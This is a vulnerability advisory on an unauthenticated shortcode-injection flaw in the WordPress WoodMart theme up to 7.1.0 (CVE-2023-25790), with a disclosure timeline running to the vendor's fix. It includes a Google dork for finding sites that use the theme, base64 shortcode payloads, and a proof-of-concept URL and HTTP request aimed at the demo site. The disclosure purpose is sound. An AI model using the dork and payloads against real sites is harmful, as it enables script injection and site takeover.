The WoodMart premium theme for WordPress is vulnerable to unauthenticated arbitrary shortcodes injection in versions 7.1.0 and below. This makes it possible for unauthenticated attackers to execute arbitrary shortcodes.
de2aa40fe8dba4c5a084d6b22e576b658c68d939a3add8dc105b5907ab7fc0f1==== [ Z://USB-00_RESEARCH/WORDPRESS/ ] ============================================= [ 2022 ] ==
Report Title: WordPress WoodMart Theme <= 7.1.0 - Unauthenticated Arbitrary Shortcodes Injection
Google Dork: inurl:/wp-content/themes/woodmart/
Research Date: 2022-11-12
Researcher: FearZzZz [ https://fearzzzz.ru ]
Component Vendor: XTemos [ https://themeforest.net/user/xtemos ]
Vulnerable Version: <= 7.1.0
Component Link: https://themeforest.net/item/woodmart-woocommerce-wordpress-theme/20264492
CVSS Base Score: 8.1 (High)
CVSS Vector String: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
OWASP Top 10: A03: 2021 – Injection
CWE: CWE-20
CVE: CVE-2023-25790
=================================================================================================
#### [ Description: ]
The WoodMart premium theme for WordPress is vulnerable to Unauthenticated Arbitrary Shortcodes Injection in versions up to, and including, v7.1.0. This makes it possible for unauthenticated attackers to execute arbitrary shortcodes. Note that the default WordPress shortcodes are relatively secure but other installed plugins often include insecure shortcodes, which allows to assess the potential attack threat as "medium" or "high".
#### [ Impact: ]
Malicious JavaScript code injections, the ability to combine attack vectors against the targeted system, which can lead to a complete compromise of the resource.
Malicious PHP code execution, the ability to gain full control over the attacked website, as well as retain access through the backdoor.
#### [ Payloads: ]
][vc_raw_html]PHNjcmlwdD5hbGVydChgRmVhclp6WnpgKTs8L3NjcmlwdD4=[/vc_raw_html][audio%20
][vc_raw_js]PHNjcmlwdD5hbGVydChgRmVhclp6WnpgKTs8L3NjcmlwdD4=[/vc_raw_js][audio%20
#### [ Proof-of-Concept: ]
https://woodmart.xtemos.com/?s=][vc_raw_html]PHNjcmlwdD5hbGVydChgRmVhclp6WnpgKTs8L3NjcmlwdD4=[/vc_raw_html][audio%20&post_type=product&product_cat=lighting
GET /?s=][vc_raw_html]PHNjcmlwdD5hbGVydChgRmVhclp6WnpgKTs8L3NjcmlwdD4=[/vc_raw_html][audio%20&post_type=product&product_cat=lighting HTTP/2
Host: woodmart.xtemos.com
#### [ Timeline: ]
2022.11.12 - Vulnerability has been discovered.
2022.11.22 - Vendor notified, first contact attempt. No response.
2023.02.10 - Second attempt to contact the vendor. No response.
2023.02.13 - WoodMart Theme v7.1.0 released.
2023.02.13 - All the details was addressed to Envato and Patchstack. CVE ID requested.
2023.02.14 - Got a response from Envato, got a response from the vendor.
2023.02.14 - WoodMart Theme v7.1.1 released, the vulnerability has been fixed.
#### [ Contacts: ]
Website: fearzzzz.ru
Email: [email protected]
Twitter: https://twitter.com/fear_zzzz
Medium: https://fearzzzz.medium.com
GitHub: https://github.com/fearzzzz
YouTube: https://youtube.com/@fearzzzz
#### [ Notes: ]
Prerequisite for successful exploitation: the "Display results from blog" option must be enabled on the target website (`&xts-woodmart-options[enqueue_posts_results]=1`).
Special thanks to Mikhail Kobzarev (https://t.me/mihdan | https://wp-digest.com) for providing the original theme files.
Additional greetings to Kailoon (ThemeForest Senior Reviewer, https://kailoon.com) and XTemos Studio (https://themeforest.net/user/xtemos) for the prompt response.
#### [ Disclaimer: ]
The information provided in this report is provided "as is" without warranty of any kind. FearZzZz disclaims all warranties, either express or implied, including the warranties of merchantability and fitness for a particular purpose. In no event shall FearZzZz be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages, even if FearZzZz have been advised of the possibility of such damages.
========================================================================== [ www.fearzzzz.ru ] ==